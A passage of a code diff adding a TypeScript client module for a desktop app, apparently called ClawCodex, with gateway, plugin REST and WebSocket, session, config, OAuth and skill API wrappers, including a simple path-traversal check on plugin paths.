+    AUDIO_SPEAK_MIN_REQUEST_TIMEOUT_MS,
+    Math.ceil(String(text || '').length * AUDIO_SPEAK_TIMEOUT_MS_PER_CHAR)
+  )
+
+  return Math.min(AUDIO_SPEAK_MAX_REQUEST_TIMEOUT_MS, estimated)
+}
+
+export const AUDIO_TRANSCRIBE_MIN_REQUEST_TIMEOUT_MS = 180_000
+export const AUDIO_TRANSCRIBE_MAX_REQUEST_TIMEOUT_MS = 600_000
+// The transcribe payload is the base64 audio data URL itself, so its string
+// length tracks clip size. ~0.1ms/char keeps short clips at the floor while
+// letting multi-minute recordings scale toward the cap (a base64 char is
+// ~0.75 bytes, so at 128kbps ≈ 21k chars/s of audio this budgets ~2s of
+// timeout per 1s of audio before the cap clamps it).
+const AUDIO_TRANSCRIBE_TIMEOUT_MS_PER_CHAR = 0.1
+
+export function audioTranscribeRequestTimeoutMs(dataUrl: string): number {
+  const estimated = Math.max(
+    AUDIO_TRANSCRIBE_MIN_REQUEST_TIMEOUT_MS,
+    Math.ceil(String(dataUrl || '').length * AUDIO_TRANSCRIBE_TIMEOUT_MS_PER_CHAR)
+  )
+
+  return Math.min(AUDIO_TRANSCRIBE_MAX_REQUEST_TIMEOUT_MS, estimated)
+}
+
+export type {
+  ActionResponse,
+  ActionStatusResponse,
+  AnalyticsDailyEntry,
+  AnalyticsModelEntry,
+  AnalyticsResponse,
+  AnalyticsSkillEntry,
+  AnalyticsSkillsSummary,
+  AnalyticsTotals,
+  AudioSpeakResponse,
+  AudioTranscriptionResponse,
+  AutomationBlueprint,
+  AutomationBlueprintField,
+  AuxiliaryModelsResponse,
+  BackendUpdateCheckResponse,
+  ClawCodexConfig,
+  ClawCodexConfigRecord,
+  ComputerUseCheck,
+  ComputerUsePermissionSource,
+  ComputerUseStatus,
+  ConfigFieldSchema,
+  ConfigSchemaResponse,
+  CronDeliveryTarget,
+  CronJob,
+  CronJobCreatePayload,
+  CronJobSchedule,
+  CronJobUpdates,
+  CuratorStatusResponse,
+  CustomEndpoint,
+  CustomEndpointsResponse,
+  CustomEndpointUpdate,
+  CustomEndpointValidationResponse,
+  DebugShareResponse,
+  ElevenLabsVoice,
+  ElevenLabsVoicesResponse,
+  EnvVarInfo,
+  GatewayReadyPayload,
+  LogsResponse,
+  McpCatalogEntry,
+  McpCatalogResponse,
+  McpServerSummary,
+  McpServerTestResponse,
+  MemoryProviderConfig,
+  MemoryProviderOAuthStatus,
+  MemoryStatusResponse,
+  MessagingEnvVarInfo,
+  MessagingHomeChannel,
+  MessagingPlatformInfo,
+  MessagingPlatformsResponse,
+  MessagingPlatformTestResponse,
+  MessagingPlatformUpdate,
+  MoaConfigResponse,
+  MoaModelSlot,
+  ModelAssignmentRequest,
+  ModelAssignmentResponse,
+  ModelInfoResponse,
+  ModelOptionProvider,
+  ModelOptionsResponse,
+  PaginatedSessions,
+  PairingResponse,
+  PairingUser,
+  ProfileCreatePayload,
+  ProfileDesktopOverlay,
+  ProfileInfo,
+  ProfileSetupCommand,
+  ProfileSoul,
+  ProfilesResponse,
+  ProjectFolder,
+  ProjectInfo,
+  ProjectsPayload,
+  RpcEvent,
+  SessionCreateResponse,
+  SessionInfo,
+  SessionMessage,
+  SessionMessagesResponse,
+  SessionResumeResponse,
+  SessionRuntimeInfo,
+  SessionSearchResponse,
+  SessionSearchResult,
+  SkillHubInstalledEntry,
+  SkillHubPreview,
+  SkillHubResult,
+  SkillHubScanResult,
+  SkillHubSearchResponse,
+  SkillHubSource,
+  SkillHubSourcesResponse,
+  SkillInfo,
+  StaleAuxAssignment,
+  StarmapGraph,
+  StatusResponse,
+  ToolsetConfig,
+  ToolsetInfo,
+  ToolsetModel,
+  ToolsetModelsResponse,
+  WebhookCreatePayload,
+  WebhookCreateResponse,
+  WebhookEnableResponse,
+  WebhookRoute,
+  WebhooksResponse
+} from '@/types/clawcodex'
+
+export class ClawCodexGateway extends JsonRpcGatewayClient {
+  constructor() {
+    super({
+      closedErrorMessage: 'ClawCodex gateway connection closed',
+      connectErrorMessage: 'Could not connect to ClawCodex gateway',
+      createRequestId: nextId => nextId,
+      notConnectedErrorMessage: 'ClawCodex gateway is not connected',
+      requestTimeoutMs: DEFAULT_GATEWAY_REQUEST_TIMEOUT_MS
+    })
+  }
+}
+
+// Profile that profile-scoped REST settings (config/env/skills/tools/model/…)
+// should target. Mirrors $activeGatewayProfile, pushed in from the store via
+// setApiRequestProfile so this module needs no store import (avoids a cycle).
+// Electron main consumes request.profile to pick which backend *process* serves
+// the call; each pooled backend already has its own CLAWCODEX_CONFIG_DIR, so no backend
+// change is needed. Null → primary, so single-profile users are unaffected.
+let _apiProfile: null | string = null
+
+export function setApiRequestProfile(profile: null | string): void {
+  _apiProfile = profile || null
+}
+
+function profileScoped(profile?: null | string): { profile?: string } {
+  const selected = profile === undefined ? _apiProfile : profile
+
+  return selected ? { profile: selected } : {}
+}
+
+/** Profile that profile-scoped REST/WS calls should target (null → primary).
+ *  Read-only twin of setApiRequestProfile for modules (e.g. voice playback)
+ *  that build their own connection URLs and must stay on the same backend. */
+export function getApiRequestProfile(): null | string {
+  return _apiProfile
+}
+
+/** Options for a plugin REST call — mirrors the app's own `clawcodexDesktop.api`
+ *  shape, minus the path (which is namespace-derived). */
+export interface PluginRestOptions {
+  method?: string
+  body?: unknown
+  /** Single-file multipart upload (see ClawCodexApiRequest.upload). */
+  upload?: { filename: string; contentType?: string; bytes: ArrayBuffer }
+  timeoutMs?: number
+}
+
+// Normalize `path` to a leading-slash suffix relative to `/api/plugins/<id>`.
+// The namespace is the boundary — reject `..` so a relative segment can't
+// normalize out into another plugin's API or a core route. Check the path
+// portion only (before any query/hash).
+function pluginPathSuffix(caller: string, path: string): string {
+  const suffix = path.startsWith('/') ? path : `/${path}`
+
+  if (suffix.split(/[?#]/, 1)[0].split('/').includes('..')) {
+    throw new Error(`${caller}: illegal path traversal in "${path}"`)
+  }
+
+  return suffix
+}
+
+/** The plugin REST door. Every call is scoped BY CONSTRUCTION to the plugin's
+ *  own backend namespace — `path` is relative to `/api/plugins/<pluginId>`
+ *  ('/board' → `/api/plugins/kanban/board`), so a plugin can't address another
+ *  plugin's API or a core route through it. Profile-aware like every desktop
+ *  REST call. Broader reach (core endpoints, another namespace) is the future
+ *  declared-capability seam; today the namespace IS the boundary. */
+export async function pluginRest<T>(pluginId: string, path: string, opts: PluginRestOptions = {}): Promise<T> {
+  if (!window.clawcodexDesktop?.api) {
+    throw new Error('ClawCodex desktop bridge unavailable')
+  }
+
+  const suffix = pluginPathSuffix('pluginRest', path)
+
+  return window.clawcodexDesktop.api<T>({
+    path: `/api/plugins/${pluginId}${suffix}`,
+    method: opts.method,
+    body: opts.body,
+    upload: opts.upload,
+    timeoutMs: opts.timeoutMs,
+    ...profileScoped()
+  })
+}
+
+/** The plugin WebSocket door — the live twin of `pluginRest`, scoped the same
+ *  way: `path` is relative to `/api/plugins/<pluginId>` ('/events' → the
+ *  plugin's own event stream). Token-mode backends auth via the same query
+ *  credential the app's own sockets use; OAuth remotes resolve null (callers
+ *  keep their polling fallback — every consumer must have one anyway, since a
+ *  socket can drop). Auto-reconnects with backoff until disposed. */
+export function pluginSocket(pluginId: string, path: string, onMessage: (data: unknown) => void): () => void {
+  const suffix = pluginPathSuffix('pluginSocket', path)
+
+  let socket: null | WebSocket = null
+  let disposed = false
+  let attempt = 0
+
+  const connect = async () => {
+    const connection = await window.clawcodexDesktop.getConnection().catch(() => null)
+
+    // No bridge / OAuth cookie auth (WS tickets are single-use, core-managed):
+    // stay on the polling fallback rather than half-working.
+    if (disposed || !connection || connection.authMode === 'oauth') {
+      return
+    }
+
+    const base = connection.baseUrl.replace(/^http/, 'ws')
+    const join = suffix.includes('?') ? '&' : '?'
+    socket = new WebSocket(
+      `${base}/api/plugins/${pluginId}${suffix}${join}token=${encodeURIComponent(connection.token)}`
+    )
+
+    socket.onmessage = event => {
+      attempt = 0
+
+      try {
+        onMessage(JSON.parse(String(event.data)))
+      } catch {
+        // Non-JSON frame — plugin streams are JSON by contract; skip it.
+      }
+    }
+
+    socket.onclose = () => {
+      socket = null
+
+      if (!disposed) {
+        // Full-jitter exponential backoff: same rationale as the gateway
+        // socket reconnect loops — an immediate-retry loop across many
+        // desktop clients floods the gateway with connection attempts
+        // during a restart.
+        window.setTimeout(() => void connect(), reconnectBackoffDelayMs(attempt, { baseDelayMs: 500, capMs: 30_000 }))
+        attempt += 1
+      }
+    }
+  }
+
+  void connect()
+
+  return () => {
+    disposed = true
+    socket?.close()
+  }
+}
+
+/**
+ * Trim a page to its window WITHOUT discarding pinned rows.
+ *
+ * The list endpoints deliberately back-fill pinned conversations past their
+ * LIMIT — a pin means "always reachable", so an aged-out pinned chat is
+ * appended after the recency window. A plain `slice(0, limit)` throws exactly
+ * those rows away again, which is why pins silently stopped rendering past
+ * some count: the sidebar could only ever show the pins that happened to fall
+ * inside the most-recent page.
+ */
+function pageWindow(sessions: SessionInfo[], limit: number): SessionInfo[] {
+  if (sessions.length <= limit) {
+    return sessions
+  }
+
+  const recent = sessions.slice(0, limit)
+
+  return [...recent, ...sessions.slice(limit).filter(session => session.pinned)]
+}
+
+export async function listSessions(
+  limit = 40,
+  minMessages = 0,
+  archived: 'exclude' | 'include' | 'only' = 'exclude',
+  order: 'created' | 'recent' = 'recent'
+): Promise<PaginatedSessions> {
+  const result = await window.clawcodexDesktop.api<PaginatedSessions>({
+    path:
+      `/api/sessions?limit=${limit}&offset=0&min_messages=${Math.max(0, minMessages)}` +
+      `&archived=${archived}&order=${order}`,
+    timeoutMs: SESSION_LIST_REQUEST_TIMEOUT_MS
+  })
+
+  return {
+    ...result,
+    sessions: pageWindow(result.sessions, limit),
+    offset: 0
+  }
+}
+
+// Unified, read-only session list aggregated across ALL profiles. Served by the
+// primary backend straight off each profile's state.db — no per-profile backend
+// is spawned. Single-profile users get the same rows as listSessions(), tagged
+// profile="default".
+// Source scoping lets callers split the unified list into independent slices:
+// recents pass `excludeSources: ['cron']`, the cron-jobs section passes
+// `source: 'cron'`. Without this a burst of (always-newest) cron sessions
+// consumes the whole recents page and starves real conversations.
+export interface SessionSourceFilter {
+  source?: string
+  excludeSources?: string[]
+}
+
+export async function listAllProfileSessions(
+  limit = 40,
+  minMessages = 0,
+  archived: 'exclude' | 'include' | 'only' = 'exclude',
+  order: 'created' | 'recent' = 'recent',
+  profile: 'all' | (string & {}) = 'all',
+  filter: SessionSourceFilter = {}
+): Promise<PaginatedSessions> {
+  const sourceParam = filter.source ? `&source=${encodeURIComponent(filter.source)}` : ''
+
+  const excludeParam = filter.excludeSources?.length
+    ? `&exclude_sources=${encodeURIComponent(filter.excludeSources.join(','))}`
+    : ''
+
+  const result = await window.clawcodexDesktop.api<PaginatedSessions>({
+    path:
+      `/api/profiles/sessions?limit=${limit}&offset=0&min_messages=${Math.max(0, minMessages)}` +
+      `&archived=${archived}&order=${order}&profile=${encodeURIComponent(profile)}${sourceParam}${excludeParam}`,
+    timeoutMs: SESSION_LIST_REQUEST_TIMEOUT_MS
+  })
+
+  return {
+    ...result,
+    sessions: pageWindow(result.sessions, limit),
+    offset: 0
+  }
+}
+
+// Batched sidebar slices in one request: recents (scoped to the active profile),
+// cron, and messaging. The backend opens each profile's state.db once and runs
+// all three filtered queries, replacing three separate listAllProfileSessions
+// calls that each reopened + re-counted every profile DB per refresh. Electron
+// splices remote profiles per slice (see interceptSessionRequestForRemote).
+export interface SidebarSessionSlice {
+  sessions: SessionInfo[]
+  /** Per-profile "the window came back full, more rows exist on disk" flags —
+   *  what pagination needs, without a COUNT(*) per profile DB per refresh. */
+  profiles_truncated?: Record<string, boolean>
+}
+
+/** Which profiles filled their per-profile window in a returned page. The
+ *  legacy per-slice endpoint doesn't report this, so derive it from the rows:
+ *  a profile at (or over) the cap still has more on disk. Pinned rows are
+ *  discounted — they're back-filled past the LIMIT, so counting them fakes a
+ *  full page and leaves a "Load more" that can never resolve. */
+function profilesTruncatedFrom(sessions: SessionInfo[], cap: number): Record<string, boolean> {
+  const counts = new Map<string, number>()
+
+  for (const session of sessions) {
+    const key = session.profile || 'default'
+
+    counts.set(key, (counts.get(key) ?? 0) + (session.pinned ? 0 : 1))
+  }
+
+  return Object.fromEntries([...counts].map(([name, count]) => [name, count >= cap]))
+}
+
+export interface SidebarSessionsResponse {
+  recents: SidebarSessionSlice
+  cron: SidebarSessionSlice
+  messaging: SidebarSessionSlice
+  errors?: Array<{ profile: string; error: string }>
+}
+
+export interface SidebarSessionsRequest {
+  recentsProfile: 'all' | (string & {})
+  recentsLimit: number
+  recentsExclude: string[]
+  cronLimit: number
+  messagingLimit: number
+  messagingExclude: string[]
+}
+
+// The batched /sidebar endpoint shipped later than the per-slice route, so a
+// newer desktop can meet an older backend that 404s it ("No such API
+// endpoint"). Endpoint-missing is a capability signal, not a transient
+// failure: remember it (per renderer lifetime — a runtime home change reloads
+// the window and re-probes) and serve every subsequent refresh straight from
+// the three proven per-slice calls instead of re-probing a known-dead route
+// once per turn/broadcast.
+let sidebarBatchEndpointMissing = false
+
+// Capability flags are per-backend facts. A hard re-home reloads the window
+// (module state resets naturally), but a soft gateway switch re-dials in
+// place — the next backend may well have the batched route, so the switch
+// paths call this to re-probe rather than leak the old backend's capability.
+export function resetSidebarBatchCapability() {
+  sidebarBatchEndpointMissing = false
+}
+
+// True only for "the route does not exist on this backend" shapes: the
+// backend catch-all ('404: {"detail":"No such API endpoint: ...}'), FastAPI's
+// bare 404 on headless serve (surfaces as '404: ...' directly or as
+// "Error invoking remote method 'clawcodex:api': Error: 404: ..." through the
+// IPC bridge), and the Electron JSON-guard ("endpoint is likely missing").
+// This GET has no path params, so a 404 status can only mean route-missing —
+// but transient failures (timeouts, 5xx, connection refused) must NOT match,
+// or one blip would silently degrade the fast path for the whole session.
+function isEndpointMissingError(err: unknown): boolean {
+  const message = err instanceof Error ? err.message : String(err)
+
+  return (
+    /no such api endpoint/i.test(message) ||
+    /endpoint is likely missing/i.test(message) ||
+    /(?:^\s*|error:\s*)404\b/i.test(message)
+  )
+}
+
+// Compatibility fallback: reassemble the three sidebar slices from the
+// per-slice endpoint, mirroring the batched route's semantics (min_messages=1,
+// archived excluded, recency order; recents scoped to the caller's profile,
+// cron + messaging cross-profile). Rides the same Electron remote-splice
+// interception as the pre-batching desktop, so remote profiles stay correct.
+async function listSidebarSessionsLegacy(req: SidebarSessionsRequest): Promise<SidebarSessionsResponse> {
+  const [recents, cron, messaging] = await Promise.all([
+    listAllProfileSessions(req.recentsLimit, 1, 'exclude', 'recent', req.recentsProfile, {
+      excludeSources: req.recentsExclude
+    }),
+    listAllProfileSessions(req.cronLimit, 1, 'exclude', 'recent', 'all', { source: 'cron' }),
+    listAllProfileSessions(req.messagingLimit, 1, 'exclude', 'recent', 'all', {
+      excludeSources: req.messagingExclude
+    })
+  ])
+
+  const errors = [...(recents.errors ?? []), ...(cron.errors ?? []), ...(messaging.errors ?? [])]
+
+  return {
+    recents: {
+      profiles_truncated: profilesTruncatedFrom(recents.sessions, req.recentsLimit),
+      sessions: recents.sessions
+    },
+    cron: { sessions: cron.sessions },
+    messaging: { sessions: messaging.sessions },
+    ...(errors.length ? { errors } : {})
+  }
+}
+
+export async function listSidebarSessions(req: SidebarSessionsRequest): Promise<SidebarSessionsResponse> {
+  if (sidebarBatchEndpointMissing) {
+    return listSidebarSessionsLegacy(req)
+  }
+
+  const params = new URLSearchParams({
+    recents_profile: req.recentsProfile,
+    recents_limit: String(Math.max(1, req.recentsLimit)),
+    cron_limit: String(Math.max(1, req.cronLimit)),
+    messaging_limit: String(Math.max(1, req.messagingLimit))
+  })
+
+  if (req.recentsExclude.length) {
+    params.set('recents_exclude', req.recentsExclude.join(','))
+  }
+
+  if (req.messagingExclude.length) {
+    params.set('messaging_exclude', req.messagingExclude.join(','))
+  }
+
+  let result: SidebarSessionsResponse
+
+  try {
+    result = await window.clawcodexDesktop.api<SidebarSessionsResponse>({
+      path: `/api/profiles/sessions/sidebar?${params.toString()}`,
+      timeoutMs: SESSION_LIST_REQUEST_TIMEOUT_MS
+    })
+  } catch (err) {
+    if (!isEndpointMissingError(err)) {
+      throw err
+    }
+
+    // Older backend without the batched route (desktop/runtime version skew).
+    sidebarBatchEndpointMissing = true
+
+    return listSidebarSessionsLegacy(req)
+  }
+
+  return {
+    recents: { ...result.recents, sessions: result.recents?.sessions ?? [] },
+    cron: { ...result.cron, sessions: result.cron?.sessions ?? [] },
+    messaging: { ...result.messaging, sessions: result.messaging?.sessions ?? [] },
+    errors: result.errors
+  }
+}
+
+// Mutations take the owning `profile` so Electron routes them to that profile's
+// backend (remote pool or local primary) via request.profile — matching the
+// read path. A remote session's row lives only on its remote host, so a mutation
+// that hit the local primary would no-op or 404. Omit for the current/default.
+export function setSessionArchived(id: string, archived: boolean, profile?: string | null): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...(profile ? { profile } : {}),
+    path: `/api/sessions/${encodeURIComponent(id)}`,
+    method: 'PATCH',
+    body: { archived }
+  })
+}
+
+// Mirror a sidebar pin to the backend "keep" flag so the sessions.auto_archive
+// sweep (which runs backend-side, blind to Desktop localStorage) never hides a
+// pinned chat. Best-effort: the sidebar stays localStorage-driven for its own
+// display; this only feeds the backend policy.
+export function setSessionPinnedRemote(id: string, pinned: boolean, profile?: string | null): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...(profile ? { profile } : {}),
+    path: `/api/sessions/${encodeURIComponent(id)}`,
+    method: 'PATCH',
+    body: { pinned }
+  })
+}
+
+export function searchSessions(query: string): Promise<SessionSearchResponse> {
+  return window.clawcodexDesktop.api<SessionSearchResponse>({
+    path: `/api/sessions/search?q=${encodeURIComponent(query)}`
+  })
+}
+
+// Resolves a single session row by id on one backend (the active profile, or
+// the given `profile`). The backend resolves exact ids and unique prefixes and
+// 404s when the id isn't on that profile — so a cheap by-id lookup replaces the
+// cross-profile list scan when locating an unknown id's owner.
+export function getSession(id: string, profile?: string | null): Promise<SessionInfo> {
+  const suffix = profile ? `?profile=${encodeURIComponent(profile)}` : ''
+
+  return window.clawcodexDesktop.api<SessionInfo>({
+    ...(profile ? { profile } : {}),
+    path: `/api/sessions/${encodeURIComponent(id)}${suffix}`
+  })
+}
+
+// Reads another profile's transcript. For a remote profile Electron reroutes
+// this GET to the remote backend (which serves its own state.db); for a local
+// profile the primary opens that profile's state.db via ?profile=. Omit for
+// the current/default profile.
+export function getSessionMessages(id: string, profile?: string | null): Promise<SessionMessagesResponse> {
+  const suffix = profile ? `?profile=${encodeURIComponent(profile)}` : ''
+
+  return window.clawcodexDesktop.api<SessionMessagesResponse>({
+    ...(profile ? { profile } : {}),
+    path: `/api/sessions/${encodeURIComponent(id)}/messages${suffix}`
+  })
+}
+
+export function deleteSession(id: string, profile?: string | null): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...(profile ? { profile } : {}),
+    path: `/api/sessions/${encodeURIComponent(id)}`,
+    method: 'DELETE'
+  })
+}
+
+export function renameSession(
+  id: string,
+  title: string,
+  profile?: string | null
+): Promise<{ ok: boolean; title: string }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; title: string }>({
+    ...(profile ? { profile } : {}),
+    path: `/api/sessions/${encodeURIComponent(id)}`,
+    method: 'PATCH',
+    body: { title, ...(profile ? { profile } : {}) }
+  })
+}
+
+export function getGlobalModelInfo(): Promise<ModelInfoResponse> {
+  return window.clawcodexDesktop.api<ModelInfoResponse>({
+    ...profileScoped(),
+    path: '/api/model/info',
+    timeoutMs: STARTUP_REQUEST_TIMEOUT_MS
+  })
+}
+
+export function getStatus(): Promise<StatusResponse> {
+  return window.clawcodexDesktop.api<StatusResponse>({
+    ...profileScoped(),
+    path: '/api/status'
+  })
+}
+
+export function getLogs(params: {
+  component?: string
+  file?: string
+  level?: string
+  lines?: number
+  search?: string
+}): Promise<LogsResponse> {
+  const query = new URLSearchParams()
+
+  if (params.file) {
+    query.set('file', params.file)
+  }
+
+  if (typeof params.lines === 'number') {
+    query.set('lines', String(params.lines))
+  }
+
+  if (params.level && params.level !== 'ALL') {
+    query.set('level', params.level)
+  }
+
+  if (params.component && params.component !== 'all') {
+    query.set('component', params.component)
+  }
+
+  if (params.search) {
+    query.set('search', params.search)
+  }
+
+  const suffix = query.toString()
+
+  return window.clawcodexDesktop.api<LogsResponse>({
+    ...profileScoped(),
+    path: suffix ? `/api/logs?${suffix}` : '/api/logs'
+  })
+}
+
+export function getClawCodexConfig(profile?: string): Promise<ClawCodexConfig> {
+  return window.clawcodexDesktop.api<ClawCodexConfig>({
+    ...profileScoped(profile),
+    path: '/api/config',
+    timeoutMs: STARTUP_REQUEST_TIMEOUT_MS
+  })
+}
+
+export function getClawCodexConfigRecord(): Promise<ClawCodexConfigRecord> {
+  return window.clawcodexDesktop.api<ClawCodexConfigRecord>({
+    ...profileScoped(),
+    path: '/api/config'
+  })
+}
+
+export function getClawCodexConfigDefaults(): Promise<ClawCodexConfigRecord> {
+  return window.clawcodexDesktop.api<ClawCodexConfigRecord>({
+    ...profileScoped(),
+    path: '/api/config/defaults',
+    timeoutMs: STARTUP_REQUEST_TIMEOUT_MS
+  })
+}
+
+export function getClawCodexConfigSchema(): Promise<ConfigSchemaResponse> {
+  return window.clawcodexDesktop.api<ConfigSchemaResponse>({
+    ...profileScoped(),
+    path: '/api/config/schema'
+  })
+}
+
+export function saveClawCodexConfig(config: ClawCodexConfigRecord): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...profileScoped(),
+    path: '/api/config',
+    method: 'PUT',
+    body: { config }
+  })
+}
+
+// surface=declared serves the curated desktop schema; the dashboard consumes the raw plugin schema.
+export function getMemoryProviderConfig(provider: string): Promise<MemoryProviderConfig> {
+  return window.clawcodexDesktop.api<MemoryProviderConfig>({
+    ...profileScoped(),
+    path: `/api/memory/providers/${encodeURIComponent(provider)}/config?surface=declared`
+  })
+}
+
+export function saveMemoryProviderConfig(provider: string, values: Record<string, string>): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...profileScoped(),
+    path: `/api/memory/providers/${encodeURIComponent(provider)}/config?surface=declared`,
+    method: 'PUT',
+    body: { values }
+  })
+}
+
+export function getEnvVars(): Promise<Record<string, EnvVarInfo>> {
+  return window.clawcodexDesktop.api<Record<string, EnvVarInfo>>({
+    ...profileScoped(),
+    path: '/api/env'
+  })
+}
+
+export function setEnvVar(key: string, value: string): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...profileScoped(),
+    path: '/api/env',
+    method: 'PUT',
+    body: { key, value }
+  })
+}
+
+export function validateProviderCredential(
+  key: string,
+  value: string,
+  apiKey?: string
+): Promise<{ ok: boolean; reachable: boolean; message: string; models?: string[] }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; reachable: boolean; message: string; models?: string[] }>({
+    ...profileScoped(),
+    path: '/api/providers/validate',
+    method: 'POST',
+    body: { key, value, api_key: apiKey ?? '' }
+  })
+}
+
+export function getCustomEndpoints(): Promise<CustomEndpointsResponse> {
+  return window.clawcodexDesktop.api<CustomEndpointsResponse>({
+    path: '/api/providers/custom-endpoints'
+  })
+}
+
+export function saveCustomEndpoint(endpoint: CustomEndpointUpdate): Promise<CustomEndpointsResponse> {
+  return window.clawcodexDesktop.api<CustomEndpointsResponse>({
+    path: '/api/providers/custom-endpoints',
+    method: 'POST',
+    body: endpoint
+  })
+}
+
+export function validateCustomEndpoint(endpoint: CustomEndpointUpdate): Promise<CustomEndpointValidationResponse> {
+  return window.clawcodexDesktop.api<CustomEndpointValidationResponse>({
+    path: '/api/providers/custom-endpoints/validate',
+    method: 'POST',
+    body: endpoint
+  })
+}
+
+export function activateCustomEndpoint(id: string): Promise<{ ok: boolean; provider: string; model: string }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; provider: string; model: string }>({
+    path: `/api/providers/custom-endpoints/${encodeURIComponent(id)}/activate`,
+    method: 'POST'
+  })
+}
+
+export function deleteCustomEndpoint(id: string): Promise<CustomEndpointsResponse> {
+  return window.clawcodexDesktop.api<CustomEndpointsResponse>({
+    path: `/api/providers/custom-endpoints/${encodeURIComponent(id)}`,
+    method: 'DELETE'
+  })
+}
+
+export function deleteEnvVar(key: string): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...profileScoped(),
+    path: '/api/env',
+    method: 'DELETE',
+    body: { key }
+  })
+}
+
+export function revealEnvVar(key: string): Promise<{ key: string; value: string }> {
+  return window.clawcodexDesktop.api<{ key: string; value: string }>({
+    ...profileScoped(),
+    path: '/api/env/reveal',
+    method: 'POST',
+    body: { key }
+  })
+}
+
+export function listOAuthProviders(): Promise<OAuthProvidersResponse> {
+  return window.clawcodexDesktop.api<OAuthProvidersResponse>({
+    ...profileScoped(),
+    path: '/api/providers/oauth'
+  })
+}
+
+export function disconnectOAuthProvider(providerId: string): Promise<{ ok: boolean; provider: string }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; provider: string }>({
+    ...profileScoped(),
+    path: `/api/providers/oauth/${encodeURIComponent(providerId)}`,
+    method: 'DELETE'
+  })
+}
+
+export function startOAuthLogin(providerId: string): Promise<OAuthStartResponse> {
+  return window.clawcodexDesktop.api<OAuthStartResponse>({
+    ...profileScoped(),
+    path: `/api/providers/oauth/${encodeURIComponent(providerId)}/start`,
+    method: 'POST',
+    body: {}
+  })
+}
+
+export function submitOAuthCode(providerId: string, sessionId: string, code: string): Promise<OAuthSubmitResponse> {
+  return window.clawcodexDesktop.api<OAuthSubmitResponse>({
+    ...profileScoped(),
+    path: `/api/providers/oauth/${encodeURIComponent(providerId)}/submit`,
+    method: 'POST',
+    body: { session_id: sessionId, code }
+  })
+}
+
+export function pollOAuthSession(providerId: string, sessionId: string): Promise<OAuthPollResponse> {
+  return window.clawcodexDesktop.api<OAuthPollResponse>({
+    ...profileScoped(),
+    path: `/api/providers/oauth/${encodeURIComponent(providerId)}/poll/${encodeURIComponent(sessionId)}`
+  })
+}
+
+export function cancelOAuthSession(sessionId: string): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...profileScoped(),
+    path: `/api/providers/oauth/sessions/${encodeURIComponent(sessionId)}`,
+    method: 'DELETE'
+  })
+}
+
+// Memory-provider OAuth connect (provider-keyed; 404s for providers without an
+// OAuth flow). Profile-scoped: the grant lands in the active profile's config.
+export function startMemoryProviderOAuth(provider: string): Promise<MemoryProviderOAuthStatus> {
+  return window.clawcodexDesktop.api<MemoryProviderOAuthStatus>({
+    ...profileScoped(),
+    path: `/api/memory/providers/${encodeURIComponent(provider)}/oauth/start`,
+    method: 'POST'
+  })
+}
+
+export function getMemoryProviderOAuthStatus(provider: string): Promise<MemoryProviderOAuthStatus> {
+  return window.clawcodexDesktop.api<MemoryProviderOAuthStatus>({
+    ...profileScoped(),
+    path: `/api/memory/providers/${encodeURIComponent(provider)}/oauth/status`
+  })
+}
+
+export function getSkills(): Promise<SkillInfo[]> {
+  return window.clawcodexDesktop.api<SkillInfo[]>({
+    ...profileScoped(),
+    path: '/api/skills'
+  })
+}
+
+export function getStarmapGraph(): Promise<StarmapGraph> {
+  return window.clawcodexDesktop.api<StarmapGraph>({
+    ...profileScoped(),
+    // Backend REST contract — stays /api/learning even though the UI feature is
+    // now "star map". Renaming this would break against an un-upgraded backend.
+    path: '/api/learning/graph'
+  })
+}
+
+export interface LearningNodeDetail {
+  content: string
+  kind: 'memory' | 'skill'
+  label: string
+  ok: boolean
+}
+
+export function getLearningNode(id: string): Promise<LearningNodeDetail> {
+  return window.clawcodexDesktop.api<LearningNodeDetail>({
+    ...profileScoped(),
+    path: `/api/learning/node?id=${encodeURIComponent(id)}`
+  })
+}
+
+export function deleteLearningNode(id: string): Promise<{ message: string; ok: boolean }> {
+  return window.clawcodexDesktop.api<{ message: string; ok: boolean }>({
+    ...profileScoped(),
+    path: '/api/learning/node',
+    method: 'DELETE',
+    body: { id }
+  })
+}
+
+export function editLearningNode(id: string, content: string): Promise<{ message: string; ok: boolean }> {
+  return window.clawcodexDesktop.api<{ message: string; ok: boolean }>({
+    ...profileScoped(),
+    path: '/api/learning/node',
+    method: 'PUT',
+    body: { content, id }
+  })
+}
+
+export function setSkillEnabled(
+  name: string,
+  enabled: boolean
+): Promise<{ ok: boolean; name: string; enabled: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; name: string; enabled: boolean }>({
+    ...profileScoped(),
+    path: '/api/skills/toggle',
+    method: 'PUT',
+    body: { name, enabled }
+  })
+}
+
+export interface McpTestResult {
+  ok: boolean
+  error?: string
+  tools: { name: string; description: string }[]
+  /** Capability counts (absent on older backends / failed probes). */
+  prompts?: number
+  resources?: number
+}
+
+export interface McpOAuthFlow {
+  flow_id: string
+  server_name: string
+  status: 'starting' | 'authorization_required' | 'approved' | 'error'
+  authorization_url: string | null
+  error: string | null
+  tools?: { name: string; description: string }[]
+}
+
+/** Connect to the server, list its tools, disconnect. Slow (spawns/handshakes
+ *  for real) — well past the 15s default fetch timeout. */
+export function testMcpServer(name: string): Promise<McpTestResult> {
+  return window.clawcodexDesktop.api<McpTestResult>({
+    ...profileScoped(),
+    path: `/api/mcp/servers/${encodeURIComponent(name)}/test`,
+    method: 'POST',
+    timeoutMs: 60_000
+  })
+}
+
+/** Replace the whole `mcp_servers` map (the mcp.json editor's save). Unlike
+ *  `saveClawCodexConfig`, this REPLACES rather than deep-merges, so deletes,
